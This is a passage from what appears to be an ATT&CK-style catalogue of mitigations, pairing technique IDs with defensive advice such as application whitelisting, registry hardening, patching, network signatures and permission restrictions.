Change settings to prevent the browser from installing extensions without sufficient permissions.
Close out all browser sessions when finished using them.
Disabling Security Tools Mitigation - T1089
Ensure proper process, registry, and file permissions are in place to prevent adversaries from disabling or interfering with security services.
Query Registry Mitigation - T1012
Identify unnecessary system utilities or potentially malicious software that may be used to acquire information within the Registry, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
.bash_profile and .bashrc Mitigation - T1156
Making these files immutable and only changeable by certain administrators will limit the ability for adversaries to easily create user level persistence.
System Firmware Mitigation - T1019
Prevent adversary access to privileged accounts or access necessary to perform this technique. Check the integrity of the existing BIOS or EFI to determine if it is vulnerable to modification. Patch the BIOS and EFI as necessary. Use Trusted Platform Module technology. (Citation: TCG Trusted Platform Module)
Multiband Communication Mitigation - T1026
Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)
Remote System Discovery Mitigation - T1018
Identify unnecessary system utilities or potentially malicious software that may be used to acquire information on remotely available systems, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
File and Directory Discovery Mitigation - T1083
File system activity is a common part of an operating system, so it is unlikely that mitigation would be appropriate for this technique. It may still be beneficial to identify and block unnecessary system utilities or potentially malicious software by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
Kernel Modules and Extensions Mitigation - T1215
Common tools for detecting Linux rootkits include: rkhunter (Citation: SourceForge rkhunter), chrootkit (Citation: Chkrootkit Main), although rootkits may be designed to evade certain detection tools.
LKMs and Kernel extensions require root level permissions to be installed. Limit access to the root account and prevent users from loading kernel modules and extensions through proper privilege separation and limiting Privilege Escalation opportunities.
Application whitelisting and software restriction tools, such as SELinux, can also aide in restricting kernel module loading. (Citation: Kernel.org Restrict Kernel Module)
File System Permissions Weakness Mitigation - T1044
Use auditing tools capable of detecting file system permissions abuse opportunities on systems within an enterprise and correct them. Limit privileges of user accounts and groups so that only authorized administrators can interact with service changes and service binary target path locations. Toolkits like the PowerSploit framework contain PowerUp modules that can be used to explore systems for service file system permissions weaknesses. (Citation: Powersploit)
Identify and block potentially malicious software that may be executed through abuse of file, directory, and service permissions by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown programs. Deny execution from user directories such as file download directories and temp directories where able. (Citation: Seclists Kanthak 7zip Installer)
Turn off UAC’s privilege elevation for standard users <code>[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System]</code>to automatically deny elevation requests, add: <code>"ConsentPromptBehaviorUser"=dword:00000000</code> (Citation: Seclists Kanthak 7zip Installer). Consider enabling installer detection for all users by adding: <code>"EnableInstallerDetection"=dword:00000001</code>. This will prompt for a password for installation and also log the attempt. To disable installer detection, instead add: <code>"EnableInstallerDetection"=dword:00000000</code>. This may prevent potential elevation of privileges through exploitation during the process of UAC detecting the installer, but will allow the installation process to continue without being logged.
Service Execution Mitigation - T1035
Ensure that permissions disallow services that run at a higher permissions level from being created or interacted with by a user with a lower permission level. Also ensure that high permission level service binaries cannot be replaced or modified by users with a lower permission level.
Identify unnecessary system utilities or potentially malicious software that may be used to interact with Windows services, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
Setuid and Setgid Mitigation - T1166
Applications with known vulnerabilities or known shell escapes should not have the setuid or setgid bits set to reduce potential damage if an application is compromised.
Trap Mitigation - T1154
Due to potential legitimate uses of trap commands, it’s may be difficult to mitigate use of this technique.
Communication Through Removable Media Mitigation - T1092
Disable Autorun if it is unnecessary. (Citation: Microsoft Disable Autorun) Disallow or restrict removable media at an organizational policy level if they are not required for business operations. (Citation: TechNet Removable Media Control)
Two-Factor Authentication Interception Mitigation - T1111
Remove smart cards when not in use. Protect devices and services used to transmit and receive out-of-band codes.
Identify and block potentially malicious software that may be used to intercept 2FA credentials on a system by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
LSASS Driver Mitigation - T1177
On Windows 8.1 and Server 2012 R2, enable LSA Protection by setting the Registry key <code>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\RunAsPPL</code> to <code>dword:00000001</code>. (Citation: Microsoft LSA Protection Mar 2014) LSA Protection ensures that LSA plug-ins and drivers are only loaded if they are digitally signed with a Microsoft signature and adhere to the Microsoft Security Development Lifecycle (SDL) process guidance.
On Windows 10 and Server 2016, enable Windows Defender Credential Guard (Citation: Microsoft Enable Cred Guard April 2017) to run lsass.exe in an isolated virtualized environment without any device drivers. (Citation: Microsoft Credential Guard April 2017)
Ensure safe DLL search mode is enabled <code>HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode</code> to mitigate risk that lsass.exe loads a malicious code library. (Citation: Microsoft DLL Security)
Standard Non-Application Layer Protocol Mitigation - T1095
Properly configure firewalls and proxies to limit outgoing traffic to only necessary ports and through proper network gateway systems.
Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)
Data Transfer Size Limits Mitigation - T1030
Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary command and control infrastructure and malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool command and control signatures over time or construct protocols in such a way to avoid detection by common defensive tools. (Citation: University of Birmingham C2)
AppInit DLLs Mitigation - T1103
Upgrade to Windows 8 or later and enable secure boot.
Identify and block potentially malicious software that may be executed through AppInit DLLs by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown DLLs.
InstallUtil Mitigation - T1118
InstallUtil may not be necessary within a given environment. Use application whitelisting configured to block execution of InstallUtil.exe if it is not required for a given system or network to prevent potential misuse by adversaries.
Shortcut Modification Mitigation - T1023
Limit permissions for who can create symbolic links in Windows to appropriate groups such as Administrators and necessary groups for virtualization. This can be done through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Create symbolic links. (Citation: UCF STIG Symbolic Links)
Identify and block unknown, potentially malicious software that may be executed through shortcut modification by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
Custom Command and Control Protocol Mitigation - T1094
Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)
Automated Exfiltration Mitigation - T1020
Identify unnecessary system utilities, scripts, or potentially malicious software that may be used to transfer data outside of a network, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
Supply Chain Compromise Mitigation - T1195
Apply supply chain risk management (SCRM) practices and procedures (Citation: MITRE SE Guide 2014), such as supply chain analysis and appropriate risk management, throughout the life-cycle of a system.
Leverage established software development lifecycle (SDLC) practices (Citation: NIST Supply Chain 2012): * Uniquely Identify Supply Chain Elements, Processes, and Actors * Limit Access and Exposure within the Supply Chain * Establish and Maintain the Provenance of Elements, Processes, Tools, and Data * Share Information within Strict Limits * Perform SCRM Awareness and Training * Use Defensive Design for Systems, Elements, and Processes * Perform Continuous Integrator Review * Strengthen Delivery Mechanisms * Assure Sustainment Activities and Processes * Manage Disposal and Final Disposition Activities throughout the System or Element Life Cycle
Change Default File Association Mitigation - T1042
Direct mitigation of this technique is not recommended since it is a legitimate function that can be performed by users for software preferences. Follow Microsoft’s best practices for file associations. (Citation: MSDN File Associations)
Identify and block potentially malicious software that may be executed by this technique using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
Peripheral Device Discovery Mitigation - T1120
Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about peripheral devices, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
Control Panel Items Mitigation - T1196
This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating specific Windows API calls and/or execution of particular file extensions will likely have unintended side effects, such as preventing legitimate software (i.e., drivers and configuration tools) from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identification of subsequent malicious behavior.
Restrict storage and execution of Control Panel items to protected directories, such as C:\Windows, rather than user directories.
Index known safe Control Panel items and block potentially malicious software using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown executable files.
Consider fully enabling User Account Control (UAC) to impede system-wide changes from illegitimate administrators. (Citation: Microsoft UAC)
Standard Application Layer Protocol Mitigation - T1071
Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and will be different across various malware families and versions. Adversaries will likely change tool signatures over time or construct protocols in such a way to avoid detection by common defensive tools. (Citation: University of Birmingham C2)
HISTCONTROL Mitigation - T1148
Prevent users from changing the <code>HISTCONTROL</code> environment variable (Citation: Securing bash history). Also, make sure that the <code>HISTCONTROL</code> environment variable is set to “ignoredup” instead of “ignoreboth” or “ignorespace”.
Input Capture Mitigation - T1056
Identify and block potentially malicious software that may be used to acquire credentials or information from the user by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
In cases where this behavior is difficult to detect or mitigate, efforts can be made to lessen some of the impact that might result from an adversary acquiring credential information. It is also good practice to follow mitigation recommendations for adversary use of Valid Accounts.
Login Item Mitigation - T1162
Restrict users from being able to create their own login items. Additionally, holding the shift key during login prevents apps from opening automatically (Citation: Re-Open windows on Mac).
Security Support Provider Mitigation - T1101
Windows 8.1, Windows Server 2012 R2, and later versions may make LSA run as a Protected Process Light (PPL) by setting the Registry key <code>HKLM\SYSTEM\CurrentControlSet\Control\Lsa\RunAsPPL</code>, which requires all SSP DLLs to be signed by Microsoft. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA)
SSH Hijacking Mitigation - T1184
Ensure SSH key pairs have strong passwords and refrain from using key-store technologies such as ssh-agent unless they are properly protected. Ensure that all private keys are stored securely in locations where only the legitimate owner has access to with strong passwords and are rotated frequently. Ensure proper file permissions are set and harden system to prevent root privilege escalation opportunities. Do not allow remote access via SSH as root or other privileged accounts. Ensure that agent forwarding is disabled on systems that do not explicitly require this feature to prevent misuse. (Citation: Symantec SSH and ssh-agent)
Process Discovery Mitigation - T1057
Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about processes, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
Remote Access Tools Mitigation - T1219
Properly configure firewalls, application firewalls, and proxies to limit outgoing traffic to sites and services used by remote access tools.
Network intrusion detection and prevention systems that use network signatures may be able to prevent traffic to these services as well.
Use application whitelisting to mitigate use of and installation of unapproved software.
Replication Through Removable Media Mitigation - T1091
Disable Autorun if it is unnecessary. (Citation: Microsoft Disable Autorun) Disallow or restrict removable media at an organizational policy level if it is not required for business operations. (Citation: TechNet Removable Media Control)
Identify potentially malicious software that may be used to infect removable media or may result from tainted removable media, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
Scheduled Transfer Mitigation - T1029
Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary command and control infrastructure and malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool command and control signatures over time or construct protocols in such a way to avoid detection by common defensive tools. (Citation: University of Birmingham C2)
Hypervisor Mitigation - T1062
Prevent adversary access to privileged accounts necessary to install a hypervisor.
Automated Collection Mitigation - T1119
Encryption and off-system storage of sensitive information may be one way to mitigate collection of files, but may not stop an adversary from acquiring the information if an intrusion persists over a long period of time and the adversary is able to discover and access the data through other means. A keylogger installed on a system may be able to intercept passwords through Input Capture and be used to decrypt protected documents that an adversary may have collected. Strong passwords should be used to prevent offline cracking of encrypted documents through Brute Force techniques.
Identify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to collect files and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
Exfiltration Over Physical Medium Mitigation - T1052
Disable Autorun if it is unnecessary. (Citation: Microsoft Disable Autorun) Disallow or restrict removable media at an organizational policy level if they are not required for business operations. (Citation: TechNet Removable Media Control)
Application Shimming Mitigation - T1138
There currently aren’t a lot of ways to mitigate application shimming. Disabling the Shim Engine isn’t recommended because Windows depends on shimming for interoperability and software may become unstable or not work. Microsoft released an optional patch update - KB3045645 - that will remove the "auto-elevate" flag within the sdbinst.exe. This will prevent use of application shimming to bypass UAC.
Changing UAC settings to "Always Notify" will give the user more visibility when UAC elevation is requested, however, this option will not be popular among users due to the constant UAC interruptions.
Local Job Scheduling Mitigation - T1168
Limit privileges of user accounts and remediate Privilege Escalation vectors so only authorized users can create scheduled jobs. Identify and block unnecessary system utilities or potentially malicious software that may be used to schedule jobs using whitelisting tools.
Hidden Files and Directories Mitigation - T1158
Mitigation of this technique may be difficult and unadvised due to the the legitimate use of hidden files and directories.
Space after Filename Mitigation - T1151
Prevent files from having a trailing space after the extension.
Office Application Startup Mitigation - T1137
Follow Office macro security best practices suitable for your environment. Disable Office VBA macros from executing. Even setting to disable with notification could enable unsuspecting users to execute potentially malicious macros. (Citation: TechNet Office Macro Security)
For the Office Test method, create the Registry key used to execute it and set the permissions to "Read Control" to prevent easy access to the key without administrator permissions or requiring Privilege Escalation. (Citation: Palo Alto Office Test Sofacy)
Disable Office add-ins. If they are required, follow best practices for securing them by requiring them to be signed and disabling user notification for allowing add-ins. For some add-ins types (WLL, VBA) additional mitigation is likely required as disabling add-ins in the Office Trust Center does not disable WLL nor does it prevent VBA code from executing. (Citation: MRWLabs Office Persistence Add-ins)
Data Encoding Mitigation - T1132
Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)
Source Mitigation - T1153
Due to potential legitimate uses of source commands, it’s may be difficult to mitigate use of this technique.
DLL Side-Loading Mitigation - T1073
Update software regularly. Install software in write-protected locations. Use the program sxstrace.exe that is included with Windows along with manual inspection to check manifest files for side-loading vulnerabilities in software.
Launchctl Mitigation - T1152
Prevent users from installing their own launch agents or launch daemons and instead require them to be pushed out by group policy.
Rootkit Mitigation - T1014
Identify potentially malicious software that may contain rootkit functionality, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
DCShadow Mitigation - T1207
This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of AD design features. For example, mitigating specific AD API calls will likely have unintended side effects, such as preventing DC replication from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identification of subsequent malicious behavior.
Modify Registry Mitigation - T1112
Misconfiguration of permissions in the Registry may lead to opportunities for an adversary to execute code, like through Service Registry Permissions Weakness. Ensure proper permissions are set for Registry hives to prevent users from modifying keys for system components that may lead to privilege escalation.
Identify and block unnecessary system utilities or potentially malicious software that may be used to modify the Registry by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
System Time Discovery Mitigation - T1124
Benign software uses legitimate processes to gather system time. Efforts should be focused on preventing unwanted or unknown code from executing on a system. Some common tools, such as net.exe, may be blocked by policy to prevent common ways of acquiring remote system time.
Identify unnecessary system utilities or potentially malicious software that may be used to acquire system time information, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
Exploit Public-Facing Application Mitigation - T1190
Application Isolation and least privilege help lesson the impact of an exploit. Application isolation will limit what other processes and system features the exploited target can access, and least privilege for service accounts will limit what permissions the exploited process gets on the rest of the system. Web Application Firewalls may may be used to limit exposure of applications.
Segment externally facing servers and services from the rest of the network with a DMZ or on separate hosting infrastructure.
Use secure coding best practices when designing custom software that is meant for deployment to externally facing systems. Avoid issues documented by OWASP, CWE, and other software weakness identification efforts.
Regularly scan externally facing systems for vulnerabilities and establish procedures to rapidly patch systems when critical vulnerabilities are discovered through scanning and through public disclosure.
AppCert DLLs Mitigation - T1182
Identify and block potentially malicious software that may be executed through AppCert DLLs by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown DLLs.
System Network Connections Discovery Mitigation - T1049
Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about network connections, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
Dynamic Data Exchange Mitigation - T1173
Registry keys specific to Microsoft Office feature control security can be set to disable automatic DDE/OLE execution. (Citation: Microsoft DDE Advisory Nov 2017) (Citation: BleepingComputer DDE Disabled in Word Dec 2017) (Citation: GitHub Disable DDEAUTO Oct 2017) Microsoft also created Registry keys to completely disable DDE execution in Word and Excel. (Citation: Microsoft ADV170021 Dec 2017)
Ensure Protected View is enabled (Citation: Microsoft Protected View) and consider disabling embedded files in Office programs, such as OneNote, not enrolled in Protected View. (Citation: Enigma Reviving DDE Jan 2018) (Citation: GitHub Disable DDEAUTO Oct 2017)
On Windows 10, enable Attack Surface Reduction (ASR) rules to prevent DDE attacks and spawning of child processes from Office programs. (Citation: Microsoft ASR Nov 2017) (Citation: Enigma Reviving DDE Jan 2018)
LLMNR/NBT-NS Poisoning Mitigation - T1171
Disable LLMNR and NetBIOS in local computer security settings or by group policy if they are not needed within an environment. (Citation: ADSecurity Windows Secure Baseline)
Use host-based security software to block LLMNR/NetBIOS traffic.
Screen Capture Mitigation - T1113
Blocking software based on screen capture functionality may be difficult, and there may be legitimate software that performs those actions. Instead, identify potentially malicious software that may have functionality to acquire screen captures, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
Windows Admin Shares Mitigation - T1077
Do not reuse local administrator account passwords across systems. Ensure password complexity and uniqueness such that the passwords cannot be cracked or guessed. Deny remote use of local admin credentials to log into systems. Do not allow domain user accounts to be in the local Administrators group multiple systems.
Identify unnecessary system utilities or potentially malicious software that may be used to leverage SMB and the Windows admin shares, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
Deobfuscate/Decode Files or Information Mitigation - T1140
Identify unnecessary system utilities or potentially malicious software that may be used to deobfuscate or decode files or information, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
Exploitation of Remote Services Mitigation - T1210
Segment networks and systems appropriately to reduce access to critical systems and services to controlled methods. Minimize available services to only those that are necessary. Regularly scan the internal network for available services to identify new and potentially vulnerable services. Minimize permissions and access for service accounts to limit impact of exploitation.
Update software regularly by employing patch management for internal enterprise endpoints and servers. Develop a robust cyber threat intelligence capability to determine what types and levels of threat may use software exploits and 0-days against a particular organization. Make it difficult for adversaries to advance their operation through exploitation of undiscovered or unpatched vulnerabilities by using sandboxing, if available. Other types of virtualization and application microsegmentation may also mitigate the impact of some types of exploitation. The risks of additional exploits and weaknesses in implementation may still exist. (Citation: Ars Technica Pwn2Own 2017 VM Escape)
Security applications that look for behavior used during exploitation such as Windows Defender Exploit Guard (WDEG) and the Enhanced Mitigation Experience Toolkit (EMET) can be used to mitigate some exploitation behavior. (Citation: TechNet Moving Beyond EMET) Control flow integrity checking is another way to potentially identify and stop a software exploit from occurring. (Citation: Wikipedia Control Flow Integrity) Many of these protections depend on the architecture and target application binary for compatibility and may not work for all software or services targeted.
Clear Command History Mitigation - T1146
Preventing users from deleting or writing to certain files can stop adversaries from maliciously altering their <code>~/.bash_history</code> files. Additionally, making these environment variables readonly can make sure that the history is preserved (Citation: Securing bash history).
Modify Existing Service Mitigation - T1031
Use auditing tools capable of detecting privilege and service abuse opportunities on systems within an enterprise and correct them. Limit privileges of user accounts and groups so that only authorized administrators can interact with service changes and service configurations. Toolkits like the PowerSploit framework contain the PowerUp modules that can be used to explore systems for Privilege Escalation weaknesses. (Citation: Powersploit)
Identify and block potentially malicious software that may be executed through service abuse by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown programs.
Exploitation for Credential Access Mitigation - T1212
Update software regularly by employing patch management for internal enterprise endpoints and servers. Develop a robust cyber threat intelligence capability to determine what types and levels of threat may use software exploits and 0-days against a particular organization. Make it difficult for adversaries to advance their operation through exploitation of undiscovered or unpatched vulnerabilities by using sandboxing, if available. Other types of virtualization and application microsegmentation may also mitigate the impact of some types of exploitation. The risks of additional exploits and weaknesses in implementation may still exist. (Citation: Ars Technica Pwn2Own 2017 VM Escape)
Security applications that look for behavior used during exploitation such as Windows Defender Exploit Guard (WDEG) and the Enhanced Mitigation Experience Toolkit (EMET) can be used to mitigate some exploitation behavior. (Citation: TechNet Moving Beyond EMET) Control flow integrity checking is another way to potentially identify and stop a software exploit from occurring. (Citation: Wikipedia Control Flow Integrity) Many of these protections depend on the architecture and target application binary for compatibility and may not work for software targeted for defense evasion.
Trusted Relationship Mitigation - T1199
Network segmentation can be used to isolate infrastructure components that do not require broad network access. Properly manage accounts and permissions used by parties in trusted relationships to minimize potential abuse by the party and if the party is compromised by an adversary. Vet the security policies and procedures of organizations that are contracted for work that require privileged access to network resources.
Sudo Caching Mitigation - T1206
Setting the <code>timestamp_timeout</code> to 0 will require the user to input their password every time <code>sudo</code> is executed. Similarly, ensuring that the <code>tty_tickets</code> setting is enabled will prevent this leakage across tty sessions.
Third-party Software Mitigation - T1072
Evaluate the security of third-party software that could be used to deploy or execute programs. Ensure that access to management systems for deployment systems is limited, monitored, and secure. Have a strict approval policy for use of deployment systems.
Grant access to application deployment systems only to a limited number of authorized administrators. Ensure proper system and access isolation for critical network systems through use of firewalls, account privilege separation, group policy, and multifactor authentication. Verify that account credentials that may be used to access deployment systems are unique and not used throughout the enterprise network. Patch deployment systems regularly to prevent potential remote access through Exploitation for Privilege Escalation.
If the application deployment system can be configured to deploy only signed binaries, then ensure that the trusted signing certificates are not co-located with the application deployment system and are instead located on a system that cannot be accessed remotely or to which remote access is tightly controlled.
Video Capture Mitigation - T1125
Mitigating this technique specifically may be difficult as it requires fine-grained API control. Efforts should be focused on preventing unwanted or unknown code from executing on a system.
Identify and block potentially malicious software that may be used to capture video and images by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
Extra Window Memory Injection Mitigation - T1181
This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating specific API calls will likely have unintended side effects, such as preventing legitimate software (i.e., security products) from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior.
Although EWM injection may be used to evade certain types of defenses, it is still good practice to identify potentially malicious software that may be used to perform adversarial actions and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
Install Root Certificate Mitigation - T1130
HTTP Public Key Pinning (HPKP) is one method to mitigate potential man-in-the-middle situations where and adversary uses a mis-issued or fraudulent certificate to intercept encrypted communications by enforcing use of an expected certificate. (Citation: Wikipedia HPKP)
Windows Group Policy can be used to manage root certificates and the <code>Flags</code> value of <code>HKLM\SOFTWARE\Policies\Microsoft\SystemCertificates\Root\ProtectedRoots</code> can be set to 1 to prevent non-administrator users from making further root installations into their own HKCU certificate store. (Citation: SpectorOps Code Signing Dec 2017)
Brute Force Mitigation - T1110
Set account lockout policies after a certain number of failed login attempts to prevent passwords from being guessed. Use multifactor authentication. Follow best practices for mitigating access to Valid Accounts
Keychain Mitigation - T1142
The password for the user’s login keychain can be changed from the user’s login password. This increases the complexity for an adversary because they need to know an additional password.
Email Collection Mitigation - T1114
Use of encryption provides an added layer of security to sensitive information sent over email. Encryption using public key cryptography requires the adversary to obtain the private certificate along with an encryption key to decrypt messages.
Use of two-factor authentication for public-facing webmail servers is also a recommended best practice to minimize the usefulness of user names and passwords to adversaries.
Identify unnecessary system utilities or potentially malicious software that may be used to collect email data files or access the corporate email server, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
BITS Jobs Mitigation - T1197
This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, disabling all BITS functionality will likely have unintended side effects, such as preventing legitimate software patching and updating. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identification of subsequent malicious behavior. (Citation: Mondok Windows PiggyBack BITS May 2007)
Modify network and/or host firewall rules, as well as other network controls, to only allow legitimate BITS traffic.
Consider limiting access to the BITS interface to specific users or groups. (Citation: Symantec BITS May 2007)
Consider reducing the default BITS job lifetime in Group Policy or by editing the <code>JobInactivityTimeout</code> and <code>MaxDownloadTime</code> Registry values in <code> HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\BITS</code>. (Citation: Microsoft BITS)
Exploitation for Privilege Escalation Mitigation - T1068
Update software regularly by employing patch management for internal enterprise endpoints and servers. Develop a robust cyber threat intelligence capability to determine what types and levels of threat may use software exploits and 0-days against a particular organization. Make it difficult for adversaries to advance their operation through exploitation of undiscovered or unpatched vulnerabilities by using sandboxing, if available. Other types of virtualization and application microsegmentation may also mitigate the impact of some types of client-side exploitation. The risks of additional exploits and weaknesses in implementation may still exist. (Citation: Ars Technica Pwn2Own 2017 VM Escape)
